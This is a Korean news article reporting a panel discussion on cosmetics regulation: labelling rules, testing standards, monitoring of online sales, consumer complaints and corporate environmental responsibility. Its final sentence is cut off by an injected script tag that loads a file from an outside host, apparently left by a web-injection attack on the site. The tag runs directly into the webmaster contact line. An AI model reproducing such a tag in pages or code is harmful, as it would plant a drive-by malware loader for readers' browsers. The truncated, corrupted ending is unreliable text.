화장품을 관리하는 법은 약사법, 화장품법, 품질경영 및 공산품안전관리법 등에 근거하고 있다. 여기에서 화장품의 ‘정의’ 라든지, ‘검사 기준’, ‘인허가 기준’ 등이 약사법 체계와 유사하다. 이로 인해 현실과 다소 화장품산업의 자체적인 경쟁력을 위해서 표시광고범위 확대같은 제도개선 완화가 필요하다고 생각한다.
화장품산업과 관련해, 의약품제조사처럼 화장품 제조사도 많고, 판매방식 등도 복잡하다. 특히 수입판매의 경우, 국내 제품의 판매망보다 무질서한 부분이 있다.
품질검사와 관련해, △품목별·롯트별 시험검사기준 △선진국 시험검사 기준을 검토해, 알맞게 개선할 필요가 있다.
보건복지부에서는 포괄적인 화장품산업 발전을 위해 행정 및 재정적 지원을 수행할 방침이다. 그동안 생산자 위주의 통계는 파악되고 있지만 수요자 측면의 통계는 개별 업체에서 파악되는 상황이고, 정확한 통계를 위한 자료수집도 병행돼야 한다고 본다.
또한 국내 고유의 한방화장품을 지원 육성하는 방안을 적극 개진할 것이다. 이를 위해 우선 천연추출물을 주축으로 하는 한방화장품 품목에 대한 표시광고 완화를 검토하고 있고 더불어 한방 R&D(연구개발) 지원을 적극 추진하겠다.
마지막으로 생산·판매 관련 기업의 사회적 책임도 구축해 전반적인 이미지 개선도 필요하고 또한 유통판매과정의 투명성도 높여나갈 필요가 있겠다.
▷김형중 식약청 의약품안전정책팀장
식약청은 지난해 화장품전성분표시제, 어린이 화장품안전용기 등 화장품 안전관리와 관련해, 다양한 정책사업을 추진해 왔다. 올해는 이같은 정책추진을 가시적으로 보여주는 한해가 될 것이다. 특히 화장품 안전성과 관련없는 인허가 서류를 간소화해 민원인의 고충을 덜어주는데 힘을 쏟을 방침이다.
그동안 중복됐던 심사를 평가부에서 한번의 심사로 끝낼 수 있도록 하고 온라인상에서 민원절차를 알도록 하는 등 민원의 편의로 심사방안을 개선할 예정이다. 향후에는 휴대폰문자를 통한 심사결과를 확인할 수 있는 서비스 제공도 고려 중이다.
▷황순옥 한국 보건산업진흥원 책임연구원
부정불량 화장품유통을 방지하기 위해 관련 법 개정이 필요하지만 한 두가지 법령 개정만으로 해결되지 않는 게 현실이다.
모든 제도개선산업은 한 틀안에서 연계돼야 하며 검사방법 품질강화 등 전체적인 그림안에서 단계적으로 수행개선돼야 한다.
특히 화장품안전, 품질확보를 위해, 관리업종 개편과 온라인 판매관리시스템, 유통판매업 모니터링 시스템 도입 등도 함께 논의돼야 한다.
더불어 화장품제조사와 소비자의 피해방지를 위해, 7000억원 대로 추정되는 화장품 온라인 시장의 감시시스템도 마련돼야 한다. 이를 위해 식약청에서 사이버 관리제도 도입도 적극 검토할 필요가 있겠다.
화장품 기술수준을 평가할 때 △신소재 개발 △제조 △품질평가 △기능성화장품 등 4가지 부문을 기준으로 삼고 있다. 최고를 100으로 놓으면, 현재 국내 기술수준은 61.7, 핵심기술 70.8로 나와 있다. 선진국과의 기술격차 5.1년, 정부지원에서는 57.6의 점수를 받고 있다.
화장품 관련 제도 부분이 상대적으로 열악한 실정이다. 신소재, 기능성화장품군은 성장기지만, 나머지는 도입기로 볼 수 있다.
▷김자혜 소비자시민모임 사무총장
현재 소비자시민모임에 화장품과 관련한 많은 민원이 들어오고 있다. 길거리에서 무료피부테스트를 해준다며 피부관리실로 유인해 화장품을 강매하는 사례가 아직도 빈번하게 일어나고 있고 또한 일부 지방에서는 화장품사용으로 인한 피부 트러블을 호소하는 하소연이 사라지지 않고 있는 게 현실이다.
화장품안전성 확보, 품질개선, 경영 및 마케팅 등은 화장품산업 발전의 기본이지만, 글로벌 시대에 맞게 기업의 사회적 책임 또한 화장품산업 발전에 중요한 기준이 돼 야 할 것이다.
화장품업계의 사회적 책임은 화장품의 생산, 소비, 폐기처분까지의 전 과정을 친환경적으로 운영하는 데 있다.
인기를 모으고 있는 황토가루 마사지팩의 경우, 정화하는데 사용량의 10배에 달하는 물이 필요로 한 만큼 이같은 반 환경제품에 대한 개선과 규제도 필요하다.
화장품 기업들은 소비자가 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
<저작권자 © 제니파크, 무단 전재 및 재배포 금지>
